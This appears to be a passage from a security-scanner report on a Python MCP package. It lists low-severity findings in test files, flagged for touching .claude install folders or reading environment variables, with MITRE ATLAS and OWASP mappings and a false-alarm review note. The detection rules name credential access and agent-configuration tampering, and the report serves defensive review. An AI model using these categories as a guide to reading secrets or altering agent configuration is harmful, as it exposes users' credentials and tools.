What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_the_steering_hint_keeps_the_compact_encoding.py:6

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

the same answer encoded without the hint (`.claude/state/evidence/steer_hint_tokens.txt`). The hint

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_timing_rows_do_not_block_a_pr.py:23

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

HOOKS = Path(__file__).resolve().parents[1] / ".claude" / "hooks"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

credential-access: Touches credentials or secrets low

tests/test_tools.py:1054

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

k: v for k, v in os.environ.items()

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

install-dir-access: Reads or writes Claude's install folders low

tests/test_tree_id_is_content_identity.py:23

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

COMMON = ROOT / ".claude" / "hooks" / "_common.py"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_v1_108_151.py:4

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

`<repo>/.claude/worktrees/<name>`) must be treated as a working-tree

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

credential-access: Touches credentials or secrets low

tests/test_watch_all_windowless.py:243

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

env={**os.environ, "PYTHONPATH": str(src)},

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

install-dir-access: Reads or writes Claude's install folders low

tests/test_watch_claude.py:124

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

"""Without config, worktree path follows {cwd}/.claude/worktrees/{name}."""

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_watcher_symlink_safety.py:80

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

for rel in (".github/workflows", ".claude/hooks", "src/pkg", "docs", ".git/objects", "node_modules/x"):

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_workflow_hooks.py:23

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

HOOKS = ROOT / ".claude" / "hooks"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_workflows_registered.py:3

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

Every command under `.claude/commands/` is named in CLAUDE.md and in

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

Dispute this result

Maintainer and think this is wrong? Open a dispute on GitHub with the target id mcp-pypi-jcodemunch-mcp-5c9770.